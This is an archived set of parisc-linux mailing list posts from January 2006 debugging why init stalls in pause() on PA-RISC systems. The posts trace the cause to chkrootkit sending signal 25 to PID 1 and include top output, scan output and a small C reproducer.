Tasks: 70 total, 2 running, 68 sleeping, 0 stopped, 0 zombie
Cpu(s): 4.5% us, 79.5% sy, 15.2% ni, 0.0% id, 0.0% wa, 0.0% hi, 0.9% si
Mem: 255260k total, 252612k used, 2648k free, 109220k buffers
Swap: 517480k total, 0k used, 517480k free, 26856k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ WCHAN COMMAND
4012 root 35 10 2904 1712 440 R 91.2 0.7 0:03.87 intr_chec chkproc
3882 root 16 0 2904 1328 1020 R 9.1 0.5 0:07.69 read top
1 root 16 0 2292 808 664 S 0.0 0.3 0:41.79 select init
2 root 34 19 0 0 0 S 0.0 0.0 0:00.00 ksoftirqd ksoftirqd

- just next sec:
top - 07:42:15 up 17 min, 3 users, load average: 1.82, 2.13, 1.38
Tasks: 70 total, 2 running, 68 sleeping, 0 stopped, 0 zombie
Cpu(s): 3.7% us, 78.9% sy, 17.4% ni, 0.0% id, 0.0% wa, 0.0% hi, 0.0% si
Mem: 255260k total, 251592k used, 3668k free, 109224k buffers
Swap: 517480k total, 0k used, 517480k free, 26864k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ WCHAN COMMAND
3882 root 16 0 2904 1328 1020 R 9.1 0.5 0:07.79 read top
3030 root 25 10 3776 2304 1112 S 1.8 0.9 0:03.55 pipe_wait chkrootki
1 root 16 0 2292 808 664 S 0.0 0.3 0:41.79 pause init
2 root 34 19 0 0 0 S 0.0 0.0 0:00.00 ksoftirqd ksoftirqd

I disable all cron (anacron & cron) on a system (b2k), reboot it and laun=
ched
chrootkit manualy and the pb shows up quickly around:
[...]
Searching for anomalies in shell history files... nothing found
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... chkproc: nothing detected
Checking `rexedcs'... not found
Checking `sniffer'... lo: not promisc and no packet sniffer sockets
eth0: not promisc and no packet sniffer sockets
eth1: not promisc and no packet sniffer sockets
Checking `w55808'... not infected
Checking `wted'... chkwtmp: nothing deleted
Checking `scalper'... not infected
Checking `slapper'... not infected
[...]

This pkg is installed on all my systems but on the system on which the pb=

doesn't occure, it was a bit differently configured (run on demand not da=
ily
croned).

Given those info, I hope to progress a bit (more) ;-)

hth,
   Joel
=0A=0A-------------------------------------------------------=0ANOTE! My =
email address is changing to ... @scarlet.be=0APlease make the necessary =
changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] finaly kill(1,
	25) was the init pause() pb on some systems but not all.
Date: Thu, 5 Jan 2006 07:46:32 -0700
Lines: 38
Approved: news@gmane.org
Message-ID: <20060105144632.GS19769@parisc-linux.org>
References: <ISMIEZ$9134EE9181BF9A8CC866F8D5EBABBF59@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623976 17628 80.91.229.3 (22 Nov 2014 02:39:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:36 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2006 14:46:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx082) with SMTP; 05 Jan 2006 15:46:47 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 595BF7D79A;
	Thu,  5 Jan 2006 07:46:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04858-07; Thu, 5 Jan 2006 07:46:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A7AC67D770;
	Thu,  5 Jan 2006 07:46:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4DF1A7D764
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jan 2006 07:46:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04726-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Jan 2006 07:46:31 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BF0507D760
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jan 2006 07:46:31 -0700 (MST)
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 8DA084940E3; Thu,  5 Jan 2006 07:46:32 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <ISMIEZ$9134EE9181BF9A8CC866F8D5EBABBF59@scarlet.be>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: D1TPY3ISeSEkIL6WZHQhaXN1IGRvb8DR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23325

On Thu, Jan 05, 2006 at 03:18:35PM +0100, Joel Soete wrote:
> This very small test case reproduce it:
> #include <stdio.h>
> #include <errno.h>
> #include <sys/types.h>
> #include <dirent.h>
> #include <ctype.h>
> #include <stdlib.h>
> #include <unistd.h>
> #include <signal.h>
> 
> int main(int argc, char **argv)
> {
>     int retdir=0;
>     retdir = kill (1, 25);
>     printf("Kill (1, 25) : %d\n", retdir);
>     printf("errno : %d\n", errno);
> }

Run as root?

> ====<>====
> 
> mmm that said, I am curious to know why '25' is coded like this (and not e.g.
> symbolic name)?

Probably because 25 is XFSZ on everything except MIPS and PA.

> Finaly: a kernel pb, a libc pb or chkrootkit bug?

Definitely the latter.  Whether it's a former, I don't know.  Can you
do it on x86 by sending init a TSTP?
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Grabert <parisc@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: init pause() on some systems but not all?
Date: Thu, 5 Jan 2006 16:32:17 +0100
Lines: 68
Approved: news@gmane.org
Message-ID: <e6eae0290601050732mfb82edbw@mail.gmail.com>
References: <ISM4PO$E2049D32F139939E93037B953A98A7B7@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1865024531=="
X-Trace: ger.gmane.org 1416623976 17633 80.91.229.3 (22 Nov 2014 02:39:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:36 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2006 15:32:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 05 Jan 2006 16:32:35 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A04137D77C;
	Thu,  5 Jan 2006 08:32:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05419-10; Thu, 5 Jan 2006 08:32:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 87C857D781;
	Thu,  5 Jan 2006 08:32:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 32CFD7D777
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jan 2006 08:32:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05419-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Jan 2006 08:32:24 -0700 (MST)
Original-Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.201])
	by free.linux.hp.com (Postfix) with ESMTP id 7B5A07D746
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jan 2006 08:32:24 -0700 (MST)
Original-Received: by wproxy.gmail.com with SMTP id i11so990643wra
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 05 Jan 2006 07:32:18 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=bYCV1rNMsPs4mP6E7yzLXREerTcCKhO13xTgSizca/q4Sy7uuf7ND9mesSdPyE8JqT+J1C3vnHLNSftfHjo0yuS5fu6EDAxHXrY8dAuH4438jsbyHx/sv6NqtgyAEGRfHsxtebG3Lc0hpDjhprq04hF3BtXqfou+VgJ18WCG+5E=
Original-Received: by 10.64.150.20 with SMTP id x20mr1245601qbd;
	Thu, 05 Jan 2006 07:32:17 -0800 (PST)
Original-Received: by 10.64.209.4 with HTTP; Thu, 5 Jan 2006 07:32:17 -0800 (PST)
In-Reply-To: <ISM4PO$E2049D32F139939E93037B953A98A7B7@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Q1nPY8hpeSEkXr6WZHQhaXN1IGRvb8CQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23326

--===============1865024531==
Content-Type: multipart/alternative; 
	boundary="----=_Part_52282_11737976.1136475137452"

------=_Part_52282_11737976.1136475137452
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: base64
Content-Disposition: inline

T24gMDUvMDEvMDYsIEpvZWwgU29ldGUgPHNvZXRlLmpvZWxAdGlzY2FsaS5iZT4gd3JvdGU6Cj4K
PiBIZWxsbyBNYXgsCj4gPgo+ID4gPiBIaSBKb2VsICYgUEEsCj4gPiA+Cj4gPiA+IEkgYWxzbyBo
YXZlIHRoZSBzYW1lLCBvciBhdCBsZWFzdCBzaW1pbGFyIHByb2JsZW0gb24gbXkgYzM3MDAKPiA+
ID4gKDIuNi4xNS1yYzEtcGExLCAyLjYuMTUtcmM1LXBhMywgZGViaWFuL3Rlc3RpbmcpOgo+ID4K
PiA+IFRoYW5rcyBmb3IgZmVlZGJhY2sgOy0pCj4gPgo+ID4gSnVzdCBhIHNtYWxsIHVwdGFkZSBh
Ym91dCAyLjUuMTUtcGExIGtlcm5lbDogdGhlIHBiIGlzIHN0aWxsIHRoZXJlIDstLwo+ID4KPiA+
IEZvciB3aGF0IGlzIHRoZSB2ZXJ5IGZydXN0YXRpbmcgc2l0dWF0aW9uLCBJIGp1c3QgdmlldyBh
bGl2ZSB0aGUgcGIKPiBvY2N1cmluZwo+ID4gb24gYWxsIG15IHRlc3Rpbmcgc3lzdGVtcyAoYjJr
LCBkMzgwLCBiMTgwLCBuNGspOiBhbGwgd2VyZSBjbGVhbiwgZWFybHkKPiB0aGlzCj4gPiBtb3Ju
aW5nIHdoZW4gZGFpbHkgY3JvbiBqb2Igc3RhcnRlZCwgdGhlbiBhZnRlciBhIGZldyBtb21lbnQg
aW5pdCgpIGZhbGwKPiBpbgo+ID4gcGF1c2UoKSBidXQgdmVyeSBoYXJkIHRvIHRhY2sgc29tZSBw
aWN0dXJlIG9mIHByb2Nlc3MgcnVuaW5nIG9uIGFsbAo+IHRob3NlCj4gPiBzeXRlbSBhdCB0aGlz
IHZlcnkgbW9tZW50IDo8KAo+ID4KPgo+IENvdWxkIGl0IGJlIHRoYXQgeW91IGluc3RhbGxlZCBj
a3Jvb3RraXQgZHBrZyBvbiB5b3VyIHN5c3RlbT8KCgpFcm1tLCB5ZXMuCk5vdyBJIGFsc28gbm90
aWNlIHRoYXQgdGhlIHByb2JsZW1zIG9jY3VycmVkIGFyb3VuZCB0aGUgdGltZSBJIGluc3RhbGxl
ZApjaGtyb290a2l0IC4uLgoKICBNYXgK
------=_Part_52282_11737976.1136475137452
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: base64
Content-Disposition: inline

PGRpdj48c3BhbiBjbGFzcz0iZ21haWxfcXVvdGUiPk9uIDA1LzAxLzA2LCA8YiBjbGFzcz0iZ21h
aWxfc2VuZGVybmFtZSI+Sm9lbCBTb2V0ZTwvYj4gJmx0OzxhIGhyZWY9Im1haWx0bzpzb2V0ZS5q
b2VsQHRpc2NhbGkuYmUiPnNvZXRlLmpvZWxAdGlzY2FsaS5iZTwvYT4mZ3Q7IHdyb3RlOjwvc3Bh
bj4KPGJsb2NrcXVvdGUgY2xhc3M9ImdtYWlsX3F1b3RlIiBzdHlsZT0iUEFERElORy1MRUZUOiAx
ZXg7IE1BUkdJTjogMHB4IDBweCAwcHggMC44ZXg7IEJPUkRFUi1MRUZUOiAjY2NjIDFweCBzb2xp
ZCI+SGVsbG8gTWF4LDxicj4mZ3Q7PGJyPiZndDsgJmd0OyBIaSBKb2VsICZhbXA7IFBBLDxicj4m
Z3Q7ICZndDs8YnI+Jmd0OyAmZ3Q7IEkgYWxzbyBoYXZlIHRoZSBzYW1lLCBvciBhdCBsZWFzdCBz
aW1pbGFyIHByb2JsZW0gb24gbXkgYzM3MDAKPGJyPiZndDsgJmd0OyAoMi42LjE1LXJjMS1wYTEs
IDIuNi4xNS1yYzUtcGEzLCBkZWJpYW4vdGVzdGluZyk6PGJyPiZndDs8YnI+Jmd0OyBUaGFua3Mg
Zm9yIGZlZWRiYWNrIDstKTxicj4mZ3Q7PGJyPiZndDsgSnVzdCBhIHNtYWxsIHVwdGFkZSBhYm91
dCAyLjUuMTUtcGExIGtlcm5lbDogdGhlIHBiIGlzIHN0aWxsIHRoZXJlIDstLzxicj4mZ3Q7PGJy
PiZndDsgRm9yIHdoYXQgaXMgdGhlIHZlcnkgZnJ1c3RhdGluZyBzaXR1YXRpb24sIEkganVzdCB2
aWV3IGFsaXZlIHRoZSBwYiBvY2N1cmluZwo8YnI+Jmd0OyBvbiBhbGwgbXkgdGVzdGluZyBzeXN0
ZW1zIChiMmssIGQzODAsIGIxODAsIG40ayk6IGFsbCB3ZXJlIGNsZWFuLCBlYXJseSB0aGlzPGJy
PiZndDsgbW9ybmluZyB3aGVuIGRhaWx5IGNyb24gam9iIHN0YXJ0ZWQsIHRoZW4gYWZ0ZXIgYSBm
ZXcgbW9tZW50IGluaXQoKSBmYWxsIGluPGJyPiZndDsgcGF1c2UoKSBidXQgdmVyeSBoYXJkIHRv
IHRhY2sgc29tZSBwaWN0dXJlIG9mIHByb2Nlc3MgcnVuaW5nIG9uIGFsbCB0aG9zZQo8YnI+Jmd0
OyBzeXRlbSBhdCB0aGlzIHZlcnkgbW9tZW50IDombHQ7KDxicj4mZ3Q7PGJyPjxicj5Db3VsZCBp
dCBiZSB0aGF0IHlvdSBpbnN0YWxsZWQgY2tyb290a2l0IGRwa2cgb24geW91ciBzeXN0ZW0/PC9i
bG9ja3F1b3RlPgo8ZGl2PiZuYnNwOzwvZGl2Pgo8ZGl2PkVybW0sIHllcy48L2Rpdj4KPGRpdj5O
b3cgSSBhbHNvIG5vdGljZSB0aGF0IHRoZSBwcm9ibGVtcyBvY2N1cnJlZCBhcm91bmQgdGhlIHRp
bWUgSSBpbnN0YWxsZWQgY2hrcm9vdGtpdCAuLi48L2Rpdj4KPGRpdj4mbmJzcDs8L2Rpdj4KPGRp
dj4mbmJzcDsgTWF4PC9kaXY+PGJyPiZuYnNwOzwvZGl2Pjxicj4K
------=_Part_52282_11737976.1136475137452--

--===============1865024531==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1865024531==--



From - Thu Nov 08 21:34:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] finaly kill(1, 25) was the init pause() pb on some 
	systems but not all.
Date: Thu,  5 Jan 2006 17:21:43 +0100
Lines: 103
Approved: news@gmane.org
Message-ID: <ISMO47$84F6A96E04ED5DC958A06D88419F6D3C@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623976 17634 80.91.229.3 (22 Nov 2014 02:39:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:36 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "matthew" <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2006 16:22:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 05 Jan 2006 17:22:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B48C7D78B;
	Thu,  5 Jan 2006 09:22:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06176-01; Thu, 5 Jan 2006 09:22:09 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B5E3F7D773;
	Thu,  5 Jan 2006 09:22:08 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B62987D770
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jan 2006 09:22:04 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05771-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Jan 2006 09:22:04 -0700 (MST)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id BD3A87D76F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jan 2006 09:22:03 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id k05GLhn07742; 
	Thu, 5 Jan 2006 17:21:43 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7iLPY5NxeSEkXb6WZHQhaXN1IGRvb4Cl
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23327

> On Thu, Jan 05, 2006 at 03:18:35PM +0100, Joel Soete wrote:
> > This very small test case reproduce it:
> > #include <stdio.h>
> > #include <errno.h>
> > #include <sys/types.h>
> > #include <dirent.h>
> > #include <ctype.h>
> > #include <stdlib.h>
> > #include <unistd.h>
> > #include <signal.h>
> > 
> > int main(int argc, char **argv)
> > {
> >     int retdir=3D0;
> >     retdir =3D kill (1, 25);
> >     printf("Kill (1, 25) : %d\n", retdir);
> >     printf("errno : %d\n", errno);
> > }
> 
> Run as root?
> 
Yes ;-)

(as common user:
$ ./TstK
Kill (1, 25) : -1
errno : 1

> > =3D=3D=3D=3D<>=3D=3D=3D=3D
> > 
> > mmm that said, I am curious to know why '25' is coded like this (and =
not e.g.
> > symbolic name)?
> 
> Probably because 25 is XFSZ on everything except MIPS and PA.
> 
> > Finaly: a kernel pb, a libc pb or chkrootkit bug?
> 
> Definitely the latter.  Whether it's a former, I don't know.  Can you
> do it on x86 by sending init a TSTP?
> 
> 
Well, writen the foo.c like:
int main(int argc, char **argv)
{
    int retdir=3D0;
    retdir =3D kill (1, SIGTSTP);
    printf("Kill (1, SIGTSTP) : %d\n", retdir);
    printf("errno : %d\n", errno);
}

(i.e. on i386: #define SIGTSTP         20      /* Keyboard stop (POSIX). =
 */)

has the same effect on a i386, though:
top - 17:03:15 up 2 days,  1:34,  7 users,  load average: 0.02, 0.05, 0.0=
1
Tasks:  72 total,   1 running,  71 sleeping,   0 stopped,   0 zombie
Cpu(s):  3.0% us,  0.3% sy,  0.0% ni, 95.4% id,  0.0% wa,  0.3% hi,  1.0%=
 si
Mem:    125892k total,   121868k used,     4024k free,    11520k buffers
Swap:   257032k total,    38368k used,   218664k free,    52244k cached
Change delay from 3.0 to: 
  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  WCHAN     CO=
MMAND
                                                    
 3058 jso       15   0  118m  42m  12m S  3.3 34.7  26:29.05 stext    
mozilla-bin                                                  
 8883 root      16   0  2248 1088  840 R  0.7  0.9   0:03.68 stext     to=
p   
                                                      
    1 root      16   0  1924  604  552 S  0.0  0.5   0:00.42 pause     in=
it  
                                                      

That said, I also thought that could be an init pb:
i read in ./parisc/kernel/signal.c:
/* 
 * Note that 'init' is a special process: it doesn't get signals it doesn=
't
 * want to handle.
[...]

but what are the signal that init want to handle?

Btw: could you explain me why is it foreseen that it want to handle SIGTS=
TP
(what ever is real value is) and not ignore it as I basicaly thought?

Thanks,
    Joel

PS: I will report pb asap to chkrootkit.
=0A=0A-------------------------------------------------------=0ANOTE! My =
email address is changing to ... @scarlet.be=0APlease make the necessary =
changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: gcc-hppa64 compilers
Date: Fri, 6 Jan 2006 03:54:40 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <17341.56304.198509.175260__2053.29849054596$1416623977$gmane$org@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623977 17636 80.91.229.3 (22 Nov 2014 02:39:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
Original-X-From: - Wed Jul 02 21:27:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 06 Jan 2006 03:12:52 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx052) with SMTP; 06 Jan 2006 04:12:52 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id D6CE32DFBE; Thu,  5 Jan 2006 21:12:50 -0600 (CST)
Old-Return-Path: <doko@cs.tu-berlin.de>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by murphy.debian.org (Postfix) with ESMTP id F07D92DEDC
	for <debian-hppa@lists.debian.org>; Thu,  5 Jan 2006 20:54:48 -0600 (CST)
Original-Received: from mailhost.cs.tu-berlin.de (postfix@mail.cs.tu-berlin.de [130.149.17.13])
	by mail.cs.tu-berlin.de (8.9.3p2/8.9.3) with ESMTP id DAA22269;
	Fri, 6 Jan 2006 03:54:42 +0100 (MET)
Original-Received: from localhost (localhost [127.0.0.1])
	by mailhost.cs.tu-berlin.de (Postfix) with ESMTP id 0D8FBF30C;
	Fri,  6 Jan 2006 03:54:42 +0100 (MET)
Original-Received: from mailhost.cs.tu-berlin.de ([127.0.0.1])
 by localhost (bueno [127.0.0.1]) (amavisd-new, port 10224) with ESMTP
 id 00476-48; Fri,  6 Jan 2006 03:54:40 +0100 (MET) 11186
